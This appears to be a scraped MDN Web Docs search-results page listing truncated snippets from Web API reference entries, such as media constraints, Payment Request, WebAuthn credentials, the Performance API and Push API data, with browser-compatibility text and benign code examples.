... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettargetranges experimentalchrome full support 60edge full support 79firefox no support noie no support noopera full support 47safari full support 10.1webview android full support 60chrome android full support 60firefox android no support ...
...And 2 more matches
compareVersion - Web APIs
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...this parameter can be an absolute pathname, such as /royalairways/royalsw or a relative pathname, such as plugsin/royalairway/royalsw.
... the following constants can be used to check the value returned by compareversion: int major_diff = 4; int minor_diff = 3; int rel_diff = 2; int bld_diff = 1; int equal = 0; in communicator 4.5, the following constants are defined and available for checking the value returned by compareversion: <code>installtrigger.major_diff installtrigger.minor_diff installtrigger.rel_diff installtrigger.bld_diff installtrigger.equal </code> desc...
...And 2 more matches
InterventionReportBody - Web APIs
an intervention report is generated when usage of a feature in a web document has been blocked by the browser for reasons such as security, performance, or user annoyance.
... message a string containing a human-readable description of the intervention, including information such how the intervention could be avoided.
... this typically matches the message a browser will display in its devtools console when an intervention is imposed, if one is available.
...And 2 more matches
KeyframeEffectOptions - Web APIs
add dictates an additive effect, where each successive iteration builds on the last.
... direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse).
... duration optional the number of milliseconds each iteration of the animation takes to complete.
...And 2 more matches
LocalFileSystem - Web APIs
the argument of a successful callback is the filesystem object, which has two properties: the name and root of the file system.
...for example, if you were to create a mail app, you might create a temporary storage for caching assets (like images and attachments) to speed up performance, while creating persistent storage for unique data—such as drafts of emails that were composed while offline—that should not be lost before they are backed up into the cloud.
... to use persistent storage with the file system api, chrome exposes a requestquota api.
...And 2 more matches
LocalFileSystemSync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... for more concepts, see the counterpart article for the asynchronous api.
... var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); because you are using a synchronous api, you don't need success and error callbacks.
...And 2 more matches
LockedFile - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... properties lockedfile.filehandle read only the filehandle object from which the lock was opened.
... events handler lockedfile.oncomplete the complete event is triggered each time a read or write operation is successful.
...And 2 more matches
MediaDevices - Web APIs
events devicechange fired when a media input or output device is attached to or removed from the user's computer.
... also available via the ondevicechange property.
... getsupportedconstraints() returns an object conforming to mediatracksupportedconstraints indicating which constrainable properties are supported on the mediastreamtrack interface.
...And 2 more matches
MediaError.code - Web APIs
WebAPIMediaErrorcode
the read-only property mediaerror.code returns a numeric value which represents the kind of error that occurred on a media element.
... syntax var myerror = mediaerror.code; value a numeric value indicating the general type of error which occurred.
... media error code constants name value description media_err_aborted 1 the fetching of the associated resource was aborted by the user's request.
...And 2 more matches
MediaKeyStatusMap.get() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetget experimentalchrome full support 42edge full support 13firefox full support yesie ?
... webview android full support 43chrome android full support 42firefox android full support yesopera android full support 29safari ios ?
...And 2 more matches
MediaKeyStatusMap.has() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethas experimentalchrome full support 42edge full support 13firefox full support yesie ?
... webview android full support 43chrome android full support 42firefox android full support yesopera android full support 29safari ios ?
...And 2 more matches
MediaKeyStatusMap.size - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalchrome full support 42edge full support 13firefox full support yesie ?
... webview android full support 43chrome android full support 42firefox android full support yesopera android full support 29safari ios ?
...And 2 more matches
MediaKeyStatusMap - Web APIs
methods mediakeystatusmap.entries() read only returns a new iterator object containing an array of [key, value] for each element in the status map, in insertion order.
... mediakeystatusmap.foreach(callback[, argument]) read only calls callback once for each key-value pair in the status map, in insertion order.
... mediakeystatusmap.keys() read only returns a new iterator object containing keys for each element in the status map, in insertion order.
...And 2 more matches
MediaMetadata.album - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalbum experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... webview android no support nochrome android full support 57firefox android ?
...And 2 more matches
MediaMetadata.artist - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartist experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... webview android no support nochrome android full support 57firefox android ?
...And 2 more matches
MediaMetadata.artwork - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetartwork experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... webview android no support nochrome android full support 57firefox android ?
...And 2 more matches
MediaMetadata.title - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettitle experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
... webview android no support nochrome android full support 57firefox android ?
...And 2 more matches
MediaRecorder.mimeType - Web APIs
the mimetype read-only property returns the mime media type that was specified when creating the mediarecorder object, or, if none was specified, which was chosen by the browser.
...mdn web docs content uses the terms interchangeably.
... syntax var mimetype = mediarecorder.mimetype value the mime media type which describes the format of the recorded media, as a domstring.
...And 2 more matches
MediaSession.setActionHandler() - Web APIs
these actions let a web app receive notifications when the user engages a device's built-in physical or onscreen media controls, such as play, stop, or seek buttons.
... the action handler receives as input a single parameter: an object conforming to the mediasessionactiondetails dictionary, which provides both the action type (so the same function can handle multiple action types), as well as data needed in order to perform the action.
... values each of the actions is a common media session control request.
...And 2 more matches
Media Session action types - Web APIs
to support an action on a media session, such as seeking, pausing, or changing tracks, you need to call the mediasession interface's setactionhandler() method to establish a handler for that action.
... values each of the actions is a common media session control request.
... implement support for each of these in order to allow that type of action to be performed.
...And 2 more matches
MediaSource.endOfStream() - Web APIs
syntax mediasource.endofstream(endofstreamerror); parameters endofstreamerror optional a domstring representing an error to throw when the end of the stream is reached.
...for example, you might have a function that handles media chunk requests, separate from other network requests.
... when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
...And 2 more matches
MediaSource - Web APIs
a mediasource object can be attached to a htmlmediaelement to be played in the user agent.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediasource" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediasource</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediasource() constructs and returns a new mediasource object with no associated source buffers.
...And 2 more matches
MediaStreamTrackEvent - Web APIs
the mediastreamtrackevent interface represents events which indicate that a mediastream has had tracks added to or removed from the stream through calls to media stream api methods.
... these events are sent to the stream when these changes occur.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediastreamtrackevent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-fami...
...And 2 more matches
MediaTrackConstraints.displaySurface - Web APIs
this is used to specify the type or types of display surfaces which getdisplaymedia() will let the user select among for sharing purposes.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.displaysurface as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { displaysurface: constraint }; constraintsobject.displaysurface = constraint; value a constraindomstring which specifies the type of display surface that's being captured.
...And 2 more matches
MediaTrackConstraints.logicalSurface - Web APIs
this is used to specify whether or not getdisplaymedia() should allow the user to choose display surfaces which are not necessarily fully visible on the screen, such as occluded windows or the complete content of windows which are large enough to require scrolling to see their entire contents.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.logicalsurface as returned by a call to mediadevices.getsupportedconstraints().
... syntax var constraintsobject = { logicalsurface: constraint }; constraintsobject.logicalsurface = constraint; value a constrainboolean which is true if logical surfaces should be permitted among the selections available to the user.
...And 2 more matches
MediaTrackSettings.deviceId - Web APIs
the mediatracksettings dictionary's deviceid property is a domstring which uniquely identifies the source for the corresponding mediastreamtrack for the origin corresponding to the browsing session.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... since there is a one-to-one pairing of id with each source, all tracks with the same source will share the same id for any given origin, so mediastreamtrack.getcapabilities() will always return exactly one value for deviceid.
...And 2 more matches
MediaTrackSettings.facingMode - Web APIs
the mediatracksettings dictionary's facingmode property is a domstring indicating the direction in which the camera producing the video track represented by the mediastreamtrack is currently facing.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints().
...these may represent separate cameras, or they may represent directions in which an adjustable camera can be pointed.
...And 2 more matches
MediaTrackSettings.groupId - Web APIs
the mediatracksettings dictionary's groupid property is a browsing-session unique domstring which identifies the group of devices which includes the source for the mediastreamtrack.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... syntax var groupid = mediatracksettings.groupid; value a domstring whose value is a browsing-session unique identifier for a group of devices which includes the source of the track's contents.
...And 2 more matches
MediaTrackSettings.logicalSurface - Web APIs
logical surfaces are those which are not necessarily entirely onscreen, or may even be off-screen, such as windows' backing buffers (where only part of the buffer is visible without scrolling the containing window) and offscreen rendering contexts.
... syntax islogicalsurface = mediatracksettings.logicalsurface; value a boolean value which is true if the video track in the stream of captured video is taken from a logical display surface.
... the most common scenario in which a display surface may be a logical one is if the selected surface contains the entire content area of a window which is too large to display onscreen at once.
...And 2 more matches
MediaTrackSettings.sampleSize - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints().
... syntax var samplesize = mediatracksettings.samplesize; value an integer value indicating how many bits each audio sample is represented by.
... the most commonly used sample size for many years now is 16 bits per sample, which was used for cd audio among others.
...And 2 more matches
MediaTrackSupportedConstraints.logicalSurface - Web APIs
the mediatracksupportedconstraints dictionary's logicalsurface property indicates whether or not the logicalsurface constraint is supported by the user agent and the device on which the content is being used.
... syntax islogicalsurfacesupported = supportedconstraints.logicalsurface; value a boolean value which is true if the logicalsurface constraint is supported by the device and user agent.
...it adds the logicalsurface constraint (requesting that only logical display surfaces—those which may not be entirely visible onscreen—be included among the options available to the user) only if it is known to be supported by the browser.
...And 2 more matches
MediaTrackSupportedConstraints - Web APIs
echocancellation a boolean value whose value is true if the echocancellation constraint is supported in the current environment.
... channelcount a boolean value whose value is true if the channelcount constraint is supported in the current environment.
... cursor a boolean value which is true if the cursor constraint is supported in the current environment.
...And 2 more matches
MessagePort.onmessage - Web APIs
syntax channel.onmessage = function() { ...
... }; example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we pass messagechannel.port2 to the iframe using messageport.postmessage along with a message.
...And 2 more matches
MessagePort.postMessage() - Web APIs
parameters message the message you want to send through the channel.
... example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... when the iframe has loaded, we pass messagechannel.port2 to the iframe using window.postmessage along with a message.
...And 2 more matches
Metadata.size - Web APIs
WebAPIMetadatasize
example this example checks the size of a log file and removes it if it's larger than a megabyte.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalnon-standardchrome full support 13edge full support ≤79firefox no support noie no support noopera no support nosafari no support nowebview android no support nochrome android full support yesfirefox android no support no...
...And 2 more matches
msPlayToSource - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msplaytosource is a read-only property which gets the source associated with the media element for use by the playtomanager.
... syntax ptr = object.msplaytosource; value playto is a means through which an app can connect local playback/display for audio, video, and img elements to a remote device.
...And 2 more matches
MutationEvent - Web APIs
the mutationevent interface provides event properties that are specific to modifications to the document object model (dom) hierarchy and nodes.
...they are expected to be included in firefox 14 and chrome 18.
...domelementnamechanged and domattributenamechanged are not supported in firefox (as of version 11), and probably in other browsers as well.
...And 2 more matches
MutationObserver - Web APIs
the mutationobserver interface provides the ability to watch for changes being made to the dom tree.
... it is designed as a replacement for the older mutation events feature, which was part of the dom3 events specification.
... constructor mutationobserver() creates and returns a new mutationobserver which will invoke a specified callback function when dom changes occur.
...And 2 more matches
Web-based protocol handlers - Web APIs
when the link is activated, the browser should launch the default desktop application for handling email.
...therefore, it is a good idea to guard your call to register the protocol handler with a check to see if it is already registered, such as in the example below.
... example <!doctype html public "-//w3c//dtd html 4.01//en"> <html lang="en"> <head> <title>web protocol handler sample - test</title> </head> <body> <p>hey have you seen <a href="web+burger:cheeseburger">this</a> before?</p> </body> </html> handling the next phase is handling the action.
...And 2 more matches
Navigator.share() - Web APIs
WebAPINavigatorshare
the navigator.share() method of the web share api invokes the native sharing mechanism of the device.
... return value a promise that will be fulfilled once a user has completed a share action (usually the user has chosen an application to share to).
... examples in our web share test (see the source code) there is a button which, when clicked, invokes the web share api to share mdn's url.
...And 2 more matches
NavigatorStorage - Web APIs
the navigatorstorage mixin adds to the navigator and workernavigator interfaces the navigator.storage property, which provides access to the storagemanager singleton used for controlling the persistence of data stores as well as obtaining information note: this feature is available in web workers.
... there are many apis which provide ways for web content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb.
... the storage standard is designed to serve as a common basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.
...And 2 more matches
Network Information API - Web APIs
examples detect connection changes this example watches for changes to the user's connection.
... var connection = navigator.connection || navigator.mozconnection || navigator.webkitconnection; var type = connection.effectivetype; function updateconnectionstatus() { console.log("connection type changed from " + type + " to " + connection.effectivetype); type = connection.effectivetype; } connection.addeventlistener('change', updateconnectionstatus); preload large resources the connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory.
... this example would be called soon after page load to check for a connection type where preloading a video may not be desirable.
...And 2 more matches
OfflineAudioContext.suspend() - Web APIs
the suspend() method of the offlineaudiocontext interface schedules a suspension of the time progression in the audio context at the specified time and returns a promise.
... this is generally useful at the time of manipulating the audio graph synchronously on offlineaudiocontext.
...for this reason, it is not allowed to schedule multiple suspends at the same quantized frame.
...And 2 more matches
OfflineAudioContext - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-famil...
...y="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiocontext</text></a><polyline points="271,25 281,20 281,30 271,25" stroke="#d4dde4" fill="none"/><line x1="281" y1="25" x2="311" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/offlineaudiocontext" target="_top"><rect x="311" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">offlineaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor offlineaudiocontext.offlineaudiocontext() creates a new offlineaudiocontext instance.
... offlineaudiocontext.suspend() schedules a suspension of the time progression in the audio context at the specified time and returns a promise.
...And 2 more matches
PaintWorklet - Web APIs
class checkerboardpainter { paint(ctx, geom, properties) { // use `ctx` as if it was a normal canvas const colors = ['red', 'green', 'blue']; const size = 32; for(let y = 0; y < geom.height/size; y++) { for(let x = 0; x < geom.width/size; x++) { const color = colors[(x + y) % colors.length]; ctx.beginpath(); ctx.fillstyle = color; ctx.rect(x * size, ...
...y * size, size, size); ctx.fill(); } } } } // register our class under a specific name registerpaint('checkerboard', checkerboardpainter); load a paintworklet the following example demonstrates loading the above worklet from its js file and does so by feature detection.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> use a paintworklet this example shows how to use a paintworklet in a stylesheet, including the simplest way to provide a fallback if paintworklet isn't supported.
...And 2 more matches
PannerNode.coneOuterGain - Web APIs
example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians.
...it's more useful to offset the angle by -90°, which means the pannernode will point directly at the listener at 0° rotation.
...And 2 more matches
PaymentRequest.abort() - Web APIs
var request = new paymentrequest(supportedinstruments, details, options); var paymenttimeout = window.settimeout(() => { window.cleartimeout(paymenttimeout); request.abort().then(() => { print('payment timed out after 20 minutes.'); }).catch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications specification status comment payment request apithe definition of 'abort()' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabort()chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
PaymentResponse.payerEmail - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayeremailchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support yeswebview android no support nochrome android full support 56 full support 56 no support 53 — 56disabled disabled from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
...And 2 more matches
PaymentValidationErrors - Web APIs
properties error optional a general description of a payment error from which the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information.
... payer optional a payererrors compliant object which provides appropriate error messages for any of the fields describing the payer which failed validation.
... paymentmethod optional any payment method specific errors which may have occurred.
...And 2 more matches
performance.now() - Web APIs
WebAPIPerformancenow
it used to be the same as t0 of the main context, but this was changed.
... it's important to keep in mind that to mitigate potential security threats such as spectre, browsers typically round the returned value by some amount in order to be less predictable.
... the precision of the returned value is subject to change if/when the security concerns are alleviated through other means.
...And 2 more matches
Performance.timeOrigin - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimeorigin experimentalchrome full support 62edge full support 16firefox full support 53ie ?
... opera full support 49safari no support nowebview android full support 62chrome android full support 62firefox android full support 53opera android full support 46safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
...And 2 more matches
PerformanceLongTaskTiming.attribution - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetattribution experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...And 2 more matches
PerformanceNavigationTiming - Web APIs
for example, this interface can be used to determine how much time it takes to load or unload a document.
...;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancenavigationtiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="30" font...
...-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancenavigationtiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface extends the following performanceentry properties for navigation performance entry types by qualifying and constraining them as follows: performanceentry.entrytype read only returns "navigation".
...And 2 more matches
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
... if the resource is retrieved from an application cache or local resources, it returns the size of the payload after removing any applied content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
...And 2 more matches
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... if the resource is retrieved from an application cache or a local resource, it must return the size of the payload body before removing any applied content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
...And 2 more matches
PerformanceResourceTiming.transferSize - Web APIs
the transfersize read-only property represents the size (in octets) of the fetched resource.
... if the resource is fetched from a local cache, or if it is a cross-origin resource, this property returns zero.
... syntax resource.transfersize; return value a number representing the size (in octets) of the fetched resource.
...And 2 more matches
Performance API - Web APIs
the interfaces support a number of use cases including calculating frame-rates (potentially important in animations) and benchmarking (such as the time to load a resource).
... since a platform's system clock is subject to various skews (such as ntp adjustments), the interfaces support a monotonic clock i.e.
...as such, the performance api defines a domhighrestimestamp type rather than using the date.now() interface.
...And 2 more matches
Performance Timeline - Web APIs
performance extensions the performance timeline api extends the performance interface with three methods that provide different mechanisms to get a set of performance records (metrics), depending on the specified filter criteria.
... the methods are: getentries() returns all recorded performance entries or, optionally, the entries based on the specified name, performance type and/or the initiatortype (such as an html element).
...this interface has the following four properties, and these properties are extended (with additional constraints) by other interfaces (such as performancemark): name the name of the performance entry when the metric was created.
...And 2 more matches
PhotoCapabilities.fillLightMode - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilllightmode experimentalchrome full support 59edge full support ≤79firefox ?
... webview android full support 59chrome android full support 59firefox android ?
...And 2 more matches
PhotoCapabilities.imageHeight - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimageheight experimentalchrome full support 59edge full support ≤79firefox ?
... webview android full support 59chrome android full support 59firefox android ?
...And 2 more matches
imageWidth - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimagewidth experimentalchrome full support 59edge full support ≤79firefox ?
... webview android full support 59chrome android full support 59firefox android ?
...And 2 more matches
PhotoCapabilities.redEyeReduction - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetredeyereduction experimentalchrome full support 59edge full support ≤79firefox ?
... webview android full support 59chrome android full support 59firefox android ?
...And 2 more matches
PositionOptions - Web APIs
the positionoptions dictionary describes an object containing option properties to pass as a parameter of geolocation.getcurrentposition() and geolocation.watchposition().
...note that this can result in slower response times or increased power consumption (with a gps chip on a mobile device for example).
... positionoptions.maximumage secure context is a positive long value indicating the maximum age in milliseconds of a possible cached position that is acceptable to return.
...And 2 more matches
PublicKeyCredential.getClientExtensionResults() - Web APIs
getclientextensionresults() is a method of the publickeycredential interface that returns an arraybuffer which contains a map between the extensions identifiers and their results after having being processed by the client.
... during the creation or fetching of a publickeycredential (respectively via navigator.credentials.create() and navigator.credentials.get()), it is possible to have "custom" processing by the client for different extensions which are respectively given by publickeycredentialcreationoptions.extensions and publickeycredentialrequestoptions.extensions.
...as of march 2019, only appid (used during creation with publickeycredentialrequestoptions.extensions) is supported by chrome and edge.
...And 2 more matches
PublicKeyCredential - Web APIs
the publickeycredential interface provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
... publickeycredential.isuserverifyingplatformauthenticatoravailable()secure context a static method returning a promise which resolves to true if an authenticator bound to the platform is capable of verifying the user.
... var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; var clientextensionsresults = newcredentialinfo.getclientextensionresults(); }).catch(function (err) ...
...And 2 more matches
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
as of this writing (march 2019), only "public-key" may be used.
... id a buffersource matching an existing public key credential identifier (publickeycredential.rawid).
... if the authenticator already contains one of such a public key credential, the client will throw a domexception or asks the user if they want to create a new credential.
...And 2 more matches
PushManager.supportedContentEncodings - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportedcontentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
... 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 47safari no support nowebview android no support nochrome android full support 60firefox android full support 48notes full support 48notes notes push enabled by default.opera android full support 44safari ios no support nosamsu...
...And 2 more matches
PushMessageData.arrayBuffer() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetarraybuffer experimentalchrome full support 50edge full support ≤79firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera full support 37safari no support nowebview android no support ...
... nochrome android full support 50firefox android full support 48opera android full support 37safari ios no support nosamsung internet android full support 5.0legend full support full support no support no supportexperimental.
...And 2 more matches
PushMessageData.blob() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
